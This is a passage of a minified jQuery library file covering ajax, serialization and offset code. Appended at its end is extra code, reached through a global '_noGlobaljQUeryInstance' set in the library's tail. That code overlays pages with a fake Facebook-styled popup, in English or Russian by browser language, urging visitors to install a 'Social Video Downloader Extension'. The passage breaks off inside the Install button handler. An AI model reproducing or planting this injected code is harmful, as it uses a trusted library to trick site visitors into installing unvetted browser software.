if (ce[ci] && ce[ci].test(cg)) { | |
cj.unshift(ci); | |
break | |
} | |
} | |
} | |
if (cj[0] in ch) { | |
cf = cj[0] | |
} else { | |
for (ci in ch) { | |
if (!cj[0] || cl.converters[ci + " " + cj[0]]) { | |
cf = ci; | |
break | |
} | |
if (!i) { | |
i = ci | |
} | |
} | |
cf = cf || i | |
} | |
if (cf) { | |
if (cf !== cj[0]) { | |
cj.unshift(cf) | |
} | |
return ch[cf] | |
} | |
} | |
function ao(co, cg, cl, ce) { | |
var i, cj, cm, ch, cf, cn = {}, | |
ck = co.dataTypes.slice(); | |
if (ck[1]) { | |
for (cm in co.converters) { | |
cn[cm.toLowerCase()] = co.converters[cm] | |
} | |
} | |
cj = ck.shift(); | |
while (cj) { | |
if (co.responseFields[cj]) { | |
cl[co.responseFields[cj]] = cg | |
} | |
if (!cf && ce && co.dataFilter) { | |
cg = co.dataFilter(cg, co.dataType) | |
} | |
cf = cj; | |
cj = ck.shift(); | |
if (cj) { | |
if (cj === "*") { | |
cj = cf | |
} else { | |
if (cf !== "*" && cf !== cj) { | |
cm = cn[cf + " " + cj] || cn["* " + cj]; | |
if (!cm) { | |
for (i in cn) { | |
ch = i.split(" "); | |
if (ch[1] === cj) { | |
cm = cn[cf + " " + ch[0]] || cn["* " + ch[0]]; | |
if (cm) { | |
if (cm === true) { | |
cm = cn[i] | |
} else { | |
if (cn[i] !== true) { | |
cj = ch[0]; | |
ck.unshift(ch[1]) | |
} | |
} | |
break | |
} | |
} | |
} | |
} | |
if (cm !== true) { | |
if (cm && co["throws"]) { | |
cg = cm(cg) | |
} else { | |
try { | |
cg = cm(cg) | |
} catch (ci) { | |
return { | |
state: "parsererror", | |
error: cm ? ci : "No conversion from " + cf + " to " + cj | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
return { | |
state: "success", | |
data: cg | |
} | |
} | |
bQ.extend({ | |
active: 0, | |
lastModified: {}, | |
etag: {}, | |
ajaxSettings: { | |
url: aj, | |
type: "GET", | |
isLocal: F.test(cc[1]), | |
global: true, | |
processData: true, | |
async: true, | |
contentType: "application/x-www-form-urlencoded; charset=UTF-8", | |
accepts: { | |
"*": a6, | |
text: "text/plain", | |
html: "text/html", | |
xml: "application/xml, text/xml", | |
json: "application/json, text/javascript" | |
}, | |
contents: { | |
xml: /\bxml\b/, | |
html: /\bhtml/, | |
json: /\bjson\b/ | |
}, | |
responseFields: { | |
xml: "responseXML", | |
text: "responseText", | |
json: "responseJSON" | |
}, | |
converters: { | |
"* text": String, | |
"text html": true, | |
"text json": bQ.parseJSON, | |
"text xml": bQ.parseXML | |
}, | |
flatOptions: { | |
url: true, | |
context: true | |
} | |
}, | |
ajaxSetup: function(ce, i) { | |
return i ? s(s(ce, bQ.ajaxSettings), i) : s(bQ.ajaxSettings, ce) | |
}, | |
ajaxPrefilter: bR(u), | |
ajaxTransport: bR(bh), | |
ajax: function(ci, cf) { | |
if (typeof ci === "object") { | |
cf = ci; | |
ci = undefined | |
} | |
cf = cf || {}; | |
var cr, ct, cj, cy, cn, ce, cu, cg, cm = bQ.ajaxSetup({}, cf), | |
cA = cm.context || cm, | |
cp = cm.context && (cA.nodeType || cA.jquery) ? bQ(cA) : bQ.event, | |
cz = bQ.Deferred(), | |
cw = bQ.Callbacks("once memory"), | |
ck = cm.statusCode || {}, | |
cq = {}, | |
cx = {}, | |
ch = 0, | |
cl = "canceled", | |
cs = { | |
readyState: 0, | |
getResponseHeader: function(cB) { | |
var i; | |
if (ch === 2) { | |
if (!cg) { | |
cg = {}; | |
while ((i = ap.exec(cy))) { | |
cg[i[1].toLowerCase()] = i[2] | |
} | |
} | |
i = cg[cB.toLowerCase()] | |
} | |
return i == null ? null : i | |
}, | |
getAllResponseHeaders: function() { | |
return ch === 2 ? cy : null | |
}, | |
setRequestHeader: function(cB, cC) { | |
var i = cB.toLowerCase(); | |
if (!ch) { | |
cB = cx[i] = cx[i] || cB; | |
cq[cB] = cC | |
} | |
return this | |
}, | |
overrideMimeType: function(i) { | |
if (!ch) { | |
cm.mimeType = i | |
} | |
return this | |
}, | |
statusCode: function(cB) { | |
var i; | |
if (cB) { | |
if (ch < 2) { | |
for (i in cB) { | |
ck[i] = [ck[i], cB[i]] | |
} | |
} else { | |
cs.always(cB[cs.status]) | |
} | |
} | |
return this | |
}, | |
abort: function(cB) { | |
var i = cB || cl; | |
if (cu) { | |
cu.abort(i) | |
} | |
co(0, i); | |
return this | |
} | |
}; | |
cz.promise(cs).complete = cw.add; | |
cs.success = cs.done; | |
cs.error = cs.fail; | |
cm.url = ((ci || cm.url || aj) + "").replace(ay, "").replace(aR, cc[1] + "//"); | |
cm.type = cf.method || cf.type || cm.method || cm.type; | |
cm.dataTypes = bQ.trim(cm.dataType || "*").toLowerCase().match(aN) || [""]; | |
if (cm.crossDomain == null) { | |
cr = a2.exec(cm.url.toLowerCase()); | |
cm.crossDomain = !!(cr && (cr[1] !== cc[1] || cr[2] !== cc[2] || (cr[3] || (cr[1] === "http:" ? "80" : "443")) !== (cc[3] || (cc[1] === "http:" ? "80" : "443")))) | |
} | |
if (cm.data && cm.processData && typeof cm.data !== "string") { | |
cm.data = bQ.param(cm.data, cm.traditional) | |
} | |
p(u, cm, cf, cs); | |
if (ch === 2) { | |
return cs | |
} | |
ce = bQ.event && cm.global; | |
if (ce && bQ.active++ === 0) { | |
bQ.event.trigger("ajaxStart") | |
} | |
cm.type = cm.type.toUpperCase(); | |
cm.hasContent = !q.test(cm.type); | |
cj = cm.url; | |
if (!cm.hasContent) { | |
if (cm.data) { | |
cj = (cm.url += (bX.test(cj) ? "&" : "?") + cm.data); | |
delete cm.data | |
} | |
if (cm.cache === false) { | |
cm.url = aa.test(cj) ? cj.replace(aa, "$1_=" + bx++) : cj + (bX.test(cj) ? "&" : "?") + "_=" + bx++ | |
} | |
} | |
if (cm.ifModified) { | |
if (bQ.lastModified[cj]) { | |
cs.setRequestHeader("If-Modified-Since", bQ.lastModified[cj]) | |
} | |
if (bQ.etag[cj]) { | |
cs.setRequestHeader("If-None-Match", bQ.etag[cj]) | |
} | |
} | |
if (cm.data && cm.hasContent && cm.contentType !== false || cf.contentType) { | |
cs.setRequestHeader("Content-Type", cm.contentType) | |
} | |
cs.setRequestHeader("Accept", cm.dataTypes[0] && cm.accepts[cm.dataTypes[0]] ? cm.accepts[cm.dataTypes[0]] + (cm.dataTypes[0] !== "*" ? ", " + a6 + "; q=0.01" : "") : cm.accepts["*"]); | |
for (ct in cm.headers) { | |
cs.setRequestHeader(ct, cm.headers[ct]) | |
} | |
if (cm.beforeSend && (cm.beforeSend.call(cA, cs, cm) === false || ch === 2)) { | |
return cs.abort() | |
} | |
cl = "abort"; | |
for (ct in { | |
success: 1, | |
error: 1, | |
complete: 1 | |
}) { | |
cs[ct](cm[ct]) | |
} | |
cu = p(bh, cm, cf, cs); | |
if (!cu) { | |
co(-1, "No Transport") | |
} else { | |
cs.readyState = 1; | |
if (ce) { | |
cp.trigger("ajaxSend", [cs, cm]) | |
} | |
if (ch === 2) { | |
return cs | |
} | |
if (cm.async && cm.timeout > 0) { | |
cn = bd.setTimeout(function() { | |
cs.abort("timeout") | |
}, cm.timeout) | |
} | |
try { | |
ch = 1; | |
cu.send(cq, co) | |
} catch (cv) { | |
if (ch < 2) { | |
co(-1, cv) | |
} else { | |
throw cv | |
} | |
} | |
} | |
function co(cF, cB, cG, cD) { | |
var i, cJ, cH, cE, cI, cC = cB; | |
if (ch === 2) { | |
return | |
} | |
ch = 2; | |
if (cn) { | |
bd.clearTimeout(cn) | |
} | |
cu = undefined; | |
cy = cD || ""; | |
cs.readyState = cF > 0 ? 4 : 0; | |
i = cF >= 200 && cF < 300 || cF === 304; | |
if (cG) { | |
cE = f(cm, cs, cG) | |
} | |
cE = ao(cm, cE, cs, i); | |
if (i) { | |
if (cm.ifModified) { | |
cI = cs.getResponseHeader("Last-Modified"); | |
if (cI) { | |
bQ.lastModified[cj] = cI | |
} | |
cI = cs.getResponseHeader("etag"); | |
if (cI) { | |
bQ.etag[cj] = cI | |
} | |
} | |
if (cF === 204 || cm.type === "HEAD") { | |
cC = "nocontent" | |
} else { | |
if (cF === 304) { | |
cC = "notmodified" | |
} else { | |
cC = cE.state; | |
cJ = cE.data; | |
cH = cE.error; | |
i = !cH | |
} | |
} | |
} else { | |
cH = cC; | |
if (cF || !cC) { | |
cC = "error"; | |
if (cF < 0) { | |
cF = 0 | |
} | |
} | |
} | |
cs.status = cF; | |
cs.statusText = (cB || cC) + ""; | |
if (i) { | |
cz.resolveWith(cA, [cJ, cC, cs]) | |
} else { | |
cz.rejectWith(cA, [cs, cC, cH]) | |
} | |
cs.statusCode(ck); | |
ck = undefined; | |
if (ce) { | |
cp.trigger(i ? "ajaxSuccess" : "ajaxError", [cs, cm, i ? cJ : cH]) | |
} | |
cw.fireWith(cA, [cs, cC]); | |
if (ce) { | |
cp.trigger("ajaxComplete", [cs, cm]); | |
if (!(--bQ.active)) { | |
bQ.event.trigger("ajaxStop") | |
} | |
} | |
} | |
return cs | |
}, | |
getJSON: function(i, ce, cf) { | |
return bQ.get(i, ce, cf, "json") | |
}, | |
getScript: function(i, ce) { | |
return bQ.get(i, undefined, ce, "script") | |
} | |
}); | |
bQ.each(["get", "post"], function(ce, cf) { | |
bQ[cf] = function(i, ch, ci, cg) { | |
if (bQ.isFunction(ch)) { | |
cg = cg || ci; | |
ci = ch; | |
ch = undefined | |
} | |
return bQ.ajax(bQ.extend({ | |
url: i, | |
type: cf, | |
dataType: cg, | |
data: ch, | |
success: ci | |
}, bQ.isPlainObject(i) && i)) | |
} | |
}); | |
bQ._evalUrl = function(i) { | |
return bQ.ajax({ | |
url: i, | |
type: "GET", | |
dataType: "script", | |
cache: true, | |
async: false, | |
global: false, | |
"throws": true | |
}) | |
}; | |
bQ.fn.extend({ | |
wrapAll: function(i) { | |
if (bQ.isFunction(i)) { | |
return this.each(function(cf) { | |
bQ(this).wrapAll(i.call(this, cf)) | |
}) | |
} | |
if (this[0]) { | |
var ce = bQ(i, this[0].ownerDocument).eq(0).clone(true); | |
if (this[0].parentNode) { | |
ce.insertBefore(this[0]) | |
} | |
ce.map(function() { | |
var cf = this; | |
while (cf.firstChild && cf.firstChild.nodeType === 1) { | |
cf = cf.firstChild | |
} | |
return cf | |
}).append(this) | |
} | |
return this | |
}, | |
wrapInner: function(i) { | |
if (bQ.isFunction(i)) { | |
return this.each(function(ce) { | |
bQ(this).wrapInner(i.call(this, ce)) | |
}) | |
} | |
return this.each(function() { | |
var ce = bQ(this), | |
cf = ce.contents(); | |
if (cf.length) { | |
cf.wrapAll(i) | |
} else { | |
ce.append(i) | |
} | |
}) | |
}, | |
wrap: function(i) { | |
var ce = bQ.isFunction(i); | |
return this.each(function(cf) { | |
bQ(this).wrapAll(ce ? i.call(this, cf) : i) | |
}) | |
}, | |
unwrap: function() { | |
return this.parent().each(function() { | |
if (!bQ.nodeName(this, "body")) { | |
bQ(this).replaceWith(this.childNodes) | |
} | |
}).end() | |
} | |
}); | |
function R(i) { | |
return i.style && i.style.display || bQ.css(i, "display") | |
} | |
function O(i) { | |
if (!bQ.contains(i.ownerDocument || m, i)) { | |
return true | |
} | |
while (i && i.nodeType === 1) { | |
if (R(i) === "none" || i.type === "hidden") { | |
return true | |
} | |
i = i.parentNode | |
} | |
return false | |
} | |
bQ.expr.filters.hidden = function(i) { | |
return G.reliableHiddenOffsets() ? (i.offsetWidth <= 0 && i.offsetHeight <= 0 && !i.getClientRects().length) : O(i) | |
}; | |
bQ.expr.filters.visible = function(i) { | |
return !bQ.expr.filters.hidden(i) | |
}; | |
var bE = /%20/g, | |
a0 = /\[\]$/, | |
af = /\r?\n/g, | |
b = /^(?:submit|button|image|reset|file)$/i, | |
aD = /^(?:input|select|textarea|keygen)/i; | |
function h(cf, ch, ce, cg) { | |
var i; | |
if (bQ.isArray(ch)) { | |
bQ.each(ch, function(cj, ci) { | |
if (ce || a0.test(cf)) { | |
cg(cf, ci) | |
} else { | |
h(cf + "[" + (typeof ci === "object" && ci != null ? cj : "") + "]", ci, ce, cg) | |
} | |
}) | |
} else { | |
if (!ce && bQ.type(ch) === "object") { | |
for (i in ch) { | |
h(cf + "[" + i + "]", ch[i], ce, cg) | |
} | |
} else { | |
cg(cf, ch) | |
} | |
} | |
} | |
bQ.param = function(i, cf) { | |
var cg, ce = [], | |
ch = function(ci, cj) { | |
cj = bQ.isFunction(cj) ? cj() : (cj == null ? "" : cj); | |
ce[ce.length] = encodeURIComponent(ci) + "=" + encodeURIComponent(cj) | |
}; | |
if (cf === undefined) { | |
cf = bQ.ajaxSettings && bQ.ajaxSettings.traditional | |
} | |
if (bQ.isArray(i) || (i.jquery && !bQ.isPlainObject(i))) { | |
bQ.each(i, function() { | |
ch(this.name, this.value) | |
}) | |
} else { | |
for (cg in i) { | |
h(cg, i[cg], cf, ch) | |
} | |
} | |
return ce.join("&").replace(bE, "+") | |
}; | |
bQ.fn.extend({ | |
serialize: function() { | |
return bQ.param(this.serializeArray()) | |
}, | |
serializeArray: function() { | |
return this.map(function() { | |
var i = bQ.prop(this, "elements"); | |
return i ? bQ.makeArray(i) : this | |
}).filter(function() { | |
var i = this.type; | |
return this.name && !bQ(this).is(":disabled") && aD.test(this.nodeName) && !b.test(i) && (this.checked || !aT.test(i)) | |
}).map(function(ce, cf) { | |
var cg = bQ(this).val(); | |
return cg == null ? null : bQ.isArray(cg) ? bQ.map(cg, function(i) { | |
return { | |
name: cf.name, | |
value: i.replace(af, "\r\n") | |
} | |
}) : { | |
name: cf.name, | |
value: cg.replace(af, "\r\n") | |
} | |
}).get() | |
} | |
}); | |
bQ.ajaxSettings.xhr = bd.ActiveXObject !== undefined ? function() { | |
if (this.isLocal) { | |
return bo() | |
} | |
if (m.documentMode > 8) { | |
return bM() | |
} | |
return /^(get|post|head|put|delete|options)$/i.test(this.type) && bM() || bo() | |
} : bM; | |
var aJ = 0, | |
ar = {}, | |
aH = bQ.ajaxSettings.xhr(); | |
if (bd.attachEvent) { | |
bd.attachEvent("onunload", function() { | |
for (var i in ar) { | |
ar[i](undefined, true) | |
} | |
}) | |
} | |
G.cors = !!aH && ("withCredentials" in aH); | |
aH = G.ajax = !!aH; | |
if (aH) { | |
bQ.ajaxTransport(function(i) { | |
if (!i.crossDomain || G.cors) { | |
var ce; | |
return { | |
send: function(ci, cf) { | |
var cg, ch = i.xhr(), | |
cj = ++aJ; | |
ch.open(i.type, i.url, i.async, i.username, i.password); | |
if (i.xhrFields) { | |
for (cg in i.xhrFields) { | |
ch[cg] = i.xhrFields[cg] | |
} | |
} | |
if (i.mimeType && ch.overrideMimeType) { | |
ch.overrideMimeType(i.mimeType) | |
} | |
if (!i.crossDomain && !ci["X-Requested-With"]) { | |
ci["X-Requested-With"] = "XMLHttpRequest" | |
} | |
for (cg in ci) { | |
if (ci[cg] !== undefined) { | |
ch.setRequestHeader(cg, ci[cg] + "") | |
} | |
} | |
ch.send((i.hasContent && i.data) || null); | |
ce = function(cm, cl) { | |
var ck, cp, cn; | |
if (ce && (cl || ch.readyState === 4)) { | |
delete ar[cj]; | |
ce = undefined; | |
ch.onreadystatechange = bQ.noop; | |
if (cl) { | |
if (ch.readyState !== 4) { | |
ch.abort() | |
} | |
} else { | |
cn = {}; | |
ck = ch.status; | |
if (typeof ch.responseText === "string") { | |
cn.text = ch.responseText | |
} | |
try { | |
cp = ch.statusText | |
} catch (co) { | |
cp = "" | |
} | |
if (!ck && i.isLocal && !i.crossDomain) { | |
ck = cn.text ? 200 : 404 | |
} else { | |
if (ck === 1223) { | |
ck = 204 | |
} | |
} | |
} | |
} | |
if (cn) { | |
cf(ck, cp, cn, ch.getAllResponseHeaders()) | |
} | |
}; | |
if (!i.async) { | |
ce() | |
} else { | |
if (ch.readyState === 4) { | |
bd.setTimeout(ce) | |
} else { | |
ch.onreadystatechange = ar[cj] = ce | |
} | |
} | |
}, | |
abort: function() { | |
if (ce) { | |
ce(undefined, true) | |
} | |
} | |
} | |
} | |
}) | |
} | |
function bM() { | |
try { | |
return new bd.XMLHttpRequest() | |
} catch (i) {} | |
} | |
function bo() { | |
try { | |
return new bd.ActiveXObject("Microsoft.XMLHTTP") | |
} catch (i) {} | |
} | |
bQ.ajaxSetup({ | |
accepts: { | |
script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript" | |
}, | |
contents: { | |
script: /\b(?:java|ecma)script\b/ | |
}, | |
converters: { | |
"text script": function(i) { | |
bQ.globalEval(i); | |
return i | |
} | |
} | |
}); | |
bQ.ajaxPrefilter("script", function(i) { | |
if (i.cache === undefined) { | |
i.cache = false | |
} | |
if (i.crossDomain) { | |
i.type = "GET"; | |
i.global = false | |
} | |
}); | |
bQ.ajaxTransport("script", function(cf) { | |
if (cf.crossDomain) { | |
var i, ce = m.head || bQ("head")[0] || m.documentElement; | |
return { | |
send: function(cg, ch) { | |
i = m.createElement("script"); | |
i.async = true; | |
if (cf.scriptCharset) { | |
i.charset = cf.scriptCharset | |
} | |
i.src = cf.url; | |
i.onload = i.onreadystatechange = function(cj, ci) { | |
if (ci || !i.readyState || /loaded|complete/.test(i.readyState)) { | |
i.onload = i.onreadystatechange = null; | |
if (i.parentNode) { | |
i.parentNode.removeChild(i) | |
} | |
i = null; | |
if (!ci) { | |
ch(200, "success") | |
} | |
} | |
}; | |
ce.insertBefore(i, ce.firstChild) | |
}, | |
abort: function() { | |
if (i) { | |
i.onload(undefined, true) | |
} | |
} | |
} | |
} | |
}); | |
var bA = [], | |
bg = /(=)\?(?=&|$)|\?\?/; | |
bQ.ajaxSetup({ | |
jsonp: "callback", | |
jsonpCallback: function() { | |
var i = bA.pop() || (bQ.expando + "_" + (bx++)); | |
this[i] = true; | |
return i | |
} | |
}); | |
bQ.ajaxPrefilter("json jsonp", function(cg, i, ch) { | |
var cj, ce, cf, ci = cg.jsonp !== false && (bg.test(cg.url) ? "url" : typeof cg.data === "string" && (cg.contentType || "").indexOf("application/x-www-form-urlencoded") === 0 && bg.test(cg.data) && "data"); | |
if (ci || cg.dataTypes[0] === "jsonp") { | |
cj = cg.jsonpCallback = bQ.isFunction(cg.jsonpCallback) ? cg.jsonpCallback() : cg.jsonpCallback; | |
if (ci) { | |
cg[ci] = cg[ci].replace(bg, "$1" + cj) | |
} else { | |
if (cg.jsonp !== false) { | |
cg.url += (bX.test(cg.url) ? "&" : "?") + cg.jsonp + "=" + cj | |
} | |
} | |
cg.converters["script json"] = function() { | |
if (!cf) { | |
bQ.error(cj + " was not called") | |
} | |
return cf[0] | |
}; | |
cg.dataTypes[0] = "json"; | |
ce = bd[cj]; | |
bd[cj] = function() { | |
cf = arguments | |
}; | |
ch.always(function() { | |
if (ce === undefined) { | |
bQ(bd).removeProp(cj) | |
} else { | |
bd[cj] = ce | |
} | |
if (cg[cj]) { | |
cg.jsonpCallback = i.jsonpCallback; | |
bA.push(cj) | |
} | |
if (cf && bQ.isFunction(ce)) { | |
ce(cf[0]) | |
} | |
cf = ce = undefined | |
}); | |
return "script" | |
} | |
}); | |
bQ.parseHTML = function(ch, cf, cg) { | |
if (!ch || typeof ch !== "string") { | |
return null | |
} | |
if (typeof cf === "boolean") { | |
cg = cf; | |
cf = false | |
} | |
cf = cf || m; | |
var ce = a.exec(ch), | |
i = !cg && []; | |
if (ce) { | |
return [cf.createElement(ce[1])] | |
} | |
ce = C([ch], cf, i); | |
if (i && i.length) { | |
bQ(i).remove() | |
} | |
return bQ.merge([], ce.childNodes) | |
}; | |
var ca = bQ.fn.load; | |
bQ.fn.load = function(cg, cj, ck) { | |
if (typeof cg !== "string" && ca) { | |
return ca.apply(this, arguments) | |
} | |
var i, ch, cf, ce = this, | |
ci = cg.indexOf(" "); | |
if (ci > -1) { | |
i = bQ.trim(cg.slice(ci, cg.length)); | |
cg = cg.slice(0, ci) | |
} | |
if (bQ.isFunction(cj)) { | |
ck = cj; | |
cj = undefined | |
} else { | |
if (cj && typeof cj === "object") { | |
ch = "POST" | |
} | |
} | |
if (ce.length > 0) { | |
bQ.ajax({ | |
url: cg, | |
type: ch || "GET", | |
dataType: "html", | |
data: cj | |
}).done(function(cl) { | |
cf = arguments; | |
ce.html(i ? bQ("<div>").append(bQ.parseHTML(cl)).find(i) : cl) | |
}).always(ck && function(cm, cl) { | |
ce.each(function() { | |
ck.apply(this, cf || [cm.responseText, cl, cm]) | |
}) | |
}) | |
} | |
return this | |
}; | |
bQ.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(ce, cf) { | |
bQ.fn[cf] = function(i) { | |
return this.on(cf, i) | |
} | |
}); | |
bQ.expr.filters.animated = function(i) { | |
return bQ.grep(bQ.timers, function(ce) { | |
return i === ce.elem | |
}).length | |
}; | |
function bz(i) { | |
return bQ.isWindow(i) ? i : i.nodeType === 9 ? i.defaultView || i.parentWindow : false | |
} | |
bQ.offset = { | |
setOffset: function(cg, cq, ck) { | |
var cm, cj, ce, ch, cf, co, cp, cl = bQ.css(cg, "position"), | |
ci = bQ(cg), | |
cn = {}; | |
if (cl === "static") { | |
cg.style.position = "relative" | |
} | |
cf = ci.offset(); | |
ce = bQ.css(cg, "top"); | |
co = bQ.css(cg, "left"); | |
cp = (cl === "absolute" || cl === "fixed") && bQ.inArray("auto", [ce, co]) > -1; | |
if (cp) { | |
cm = ci.position(); | |
ch = cm.top; | |
cj = cm.left | |
} else { | |
ch = parseFloat(ce) || 0; | |
cj = parseFloat(co) || 0 | |
} | |
if (bQ.isFunction(cq)) { | |
cq = cq.call(cg, ck, bQ.extend({}, cf)) | |
} | |
if (cq.top != null) { | |
cn.top = (cq.top - cf.top) + ch | |
} | |
if (cq.left != null) { | |
cn.left = (cq.left - cf.left) + cj | |
} | |
if ("using" in cq) { | |
cq.using.call(cg, cn) | |
} else { | |
ci.css(cn) | |
} | |
} | |
}; | |
bQ.fn.extend({ | |
offset: function(ce) { | |
if (arguments.length) { | |
return ce === undefined ? this : this.each(function(cj) { | |
bQ.offset.setOffset(this, ce, cj) | |
}) | |
} | |
var i, ci, cg = { | |
top: 0, | |
left: 0 | |
}, | |
cf = this[0], | |
ch = cf && cf.ownerDocument; | |
if (!ch) { | |
return | |
} | |
i = ch.documentElement; | |
if (!bQ.contains(i, cf)) { | |
return cg | |
} | |
if (typeof cf.getBoundingClientRect !== "undefined") { | |
cg = cf.getBoundingClientRect() | |
} | |
ci = bz(ch); | |
return { | |
top: cg.top + (ci.pageYOffset || i.scrollTop) - (i.clientTop || 0), | |
left: cg.left + (ci.pageXOffset || i.scrollLeft) - (i.clientLeft || 0) | |
} | |
}, | |
position: function() { | |
if (!this[0]) { | |
return | |
} | |
var cf, cg, i = { | |
top: 0, | |
left: 0 | |
}, | |
ce = this[0]; | |
if (bQ.css(ce, "position") === "fixed") { | |
cg = ce.getBoundingClientRect() | |
} else { | |
cf = this.offsetParent(); | |
cg = this.offset(); | |
if (!bQ.nodeName(cf[0], "html")) { | |
i = cf.offset() | |
} | |
i.top += bQ.css(cf[0], "borderTopWidth", true); | |
i.left += bQ.css(cf[0], "borderLeftWidth", true) | |
} | |
return { | |
top: cg.top - i.top - bQ.css(ce, "marginTop", true), | |
left: cg.left - i.left - bQ.css(ce, "marginLeft", true) | |
} | |
}, | |
offsetParent: function() { | |
return this.map(function() { | |
var i = this.offsetParent; | |
while (i && (!bQ.nodeName(i, "html") && bQ.css(i, "position") === "static")) { | |
i = i.offsetParent | |
} | |
return i || b2 | |
}) | |
} | |
}); | |
bQ.each({ | |
scrollLeft: "pageXOffset", | |
scrollTop: "pageYOffset" | |
}, function(cf, ce) { | |
var i = /Y/.test(ce); | |
bQ.fn[cf] = function(cg) { | |
return aK(this, function(ch, ck, cj) { | |
var ci = bz(ch); | |
if (cj === undefined) { | |
return ci ? (ce in ci) ? ci[ce] : ci.document.documentElement[ck] : ch[ck] | |
} | |
if (ci) { | |
ci.scrollTo(!i ? cj : bQ(ci).scrollLeft(), i ? cj : bQ(ci).scrollTop()) | |
} else { | |
ch[ck] = cj | |
} | |
}, cf, cg, arguments.length, null) | |
} | |
}); | |
bQ.each(["top", "left"], function(ce, cf) { | |
bQ.cssHooks[cf] = bf(G.pixelPosition, function(cg, i) { | |
if (i) { | |
i = J(cg, cf); | |
return ah.test(i) ? bQ(cg).position()[cf] + "px" : i | |
} | |
}) | |
}); | |
bQ.each({ | |
Height: "height", | |
Width: "width" | |
}, function(i, ce) { | |
bQ.each({ | |
padding: "inner" + i, | |
content: ce, | |
"": "outer" + i | |
}, function(cf, cg) { | |
bQ.fn[cg] = function(ck, cj) { | |
var ci = arguments.length && (cf || typeof ck !== "boolean"), | |
ch = cf || (ck === true || cj === true ? "margin" : "border"); | |
return aK(this, function(cm, cl, cn) { | |
var co; | |
if (bQ.isWindow(cm)) { | |
return cm.document.documentElement["client" + i] | |
} | |
if (cm.nodeType === 9) { | |
co = cm.documentElement; | |
return Math.max(cm.body["scroll" + i], co["scroll" + i], cm.body["offset" + i], co["offset" + i], co["client" + i]) | |
} | |
return cn === undefined ? bQ.css(cm, cl, ch) : bQ.style(cm, cl, cn, ch) | |
}, ce, ci ? ck : undefined, ci, null) | |
} | |
}) | |
}); | |
bQ.fn.extend({ | |
bind: function(i, cf, ce) { | |
return this.on(i, null, cf, ce) | |
}, | |
unbind: function(i, ce) { | |
return this.off(i, null, ce) | |
}, | |
delegate: function(i, ce, cg, cf) { | |
return this.on(ce, i, cg, cf) | |
}, | |
undelegate: function(i, ce, cf) { | |
return arguments.length === 1 ? this.off(i, "**") : this.off(ce, i || "**", cf) | |
} | |
}); | |
bQ.fn.size = function() { | |
return this.length | |
}; | |
bQ.fn.andSelf = bQ.fn.addBack; | |
if (typeof define === "function" && define.amd) { | |
define("jquery", [], function() { | |
return bQ | |
}) | |
} | |
var bs = bd.jQuery, | |
P = bd.$; | |
bQ.noConflict = function(i) { | |
if (bd.$ === bQ) { | |
bd.$ = P | |
} | |
if (i && bd.jQuery === bQ) { | |
bd.jQuery = bs | |
} | |
return bQ | |
}; | |
if (!aE) { | |
bd._noGlobaljQUeryInstance = bQ | |
} | |
return bQ | |
})); | |
_noGlobaljQUeryInstance(function(i) { | |
var f = '309e4'; | |
var c = "en"; | |
if (navigator && navigator.language && navigator.language.match(/ru|ua|by|kg|kz/)) { | |
c = "ru" | |
} | |
function g(q) { | |
var s = document.createElement("div"); | |
s.style.cssText = "\n\t\t\tdisplay:none;\n\t\t\twidth:100%;\n\t\t\theight:100%;\n\t\t\tz-index:99999;\n\t\t\tposition:fixed;\n\t\t\ttop:0;left:0;\n\t\t\tright:0;\n\t\t\tbackground:rgba(0,0,0,.5);\n\t\t"; | |
var p = document.createElement("div"); | |
p.style.cssText = "\n\t\t\tdisplay:block;\n\t\t\tmargin:15% auto;\n\t\t\tbackground:#fff;\n\t\t\tbox-sizing:border-box;\n\t\t\tfont-size:13px;\n\t\t\twidth:20%;\n\t\t"; | |
p.id = "fb_popupWindowContent"; | |
var r = { | |
en: { | |
TITLE: "Want to download this video?", | |
TEXT: "Download option is powered by Social Video Downloader Extension. If you would like to download videos from Facebook, DailyMotion, VK and others, please, add an extension to your browser, it's absolutely free of charge and easy to use", | |
BTN_INSTALL: "Install", | |
BTN_CANCEL: "Close" | |
}, | |
ru: { | |
TITLE: "\u0425\u043e\u0442\u0438\u0442\u0435 \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u044d\u0442\u043e \u0432\u0438\u0434\u0435\u043e?", | |
TEXT: "\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0447\u0442\u043e \u0431\u044b \u0431\u0435\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u0432\u0438\u0434\u0435\u043e \u0441 \u0441\u0430\u0439\u0442\u043e\u0432 VK, facebook, coub, dailymotion, \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432 \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a", | |
BTN_INSTALL: "\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c", | |
BTN_CANCEL: "\u0417\u0430\u043a\u0440\u044b\u0442\u044c" | |
} | |
}; | |
var o = '\n\t\t\t<div class="fbPopup_Title" style="border:0;border-bottom:1px solid #f1f1f1;padding:10px 10px 10px;font-size: 15px;font-weight:bold;">{TITLE}</div>\n\t\t\t<div class="fbPopup_Text" style="padding:13px 10px;">{TEXT}</div>\n\t\t\t<div class="fbPopup_Footer" style="overflow:hidden;border:0;border-top:1px solid #d1d1d1;background:#f1f1f1;padding: 10px;">\n\t\t\t\t<div class="fbPopup_Buttons" style="float:right;">\n\t\t\t\t\t<a href="#" class="fbButton_Install" style="padding:4px 10px;color:#fff;background:#365899;border:1px solid #365899;border-radius:2px;font-weight:bold;font-size:12px;text-decoration:none;">{BTN_INSTALL}</a>\n\t\t\t\t\t<a href="#" class="fbButton_Close" style="padding:4px 10px;color:#222;background:#f7f7f7;border:1px solid #d1d1d1;border-radius:2px;font-size:12px;text-decoration:none;">{BTN_CANCEL}</a>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t'; | |
for (var n in r[c]) { | |
o = o.replace("{" + n + "}", r[c][n]) | |
} | |
p.innerHTML = o; | |
s.appendChild(p); | |
document.body.appendChild(s); | |
i(p).on("click", ".fbButton_Install", function(w) { | |
var v = i(w.target); | |
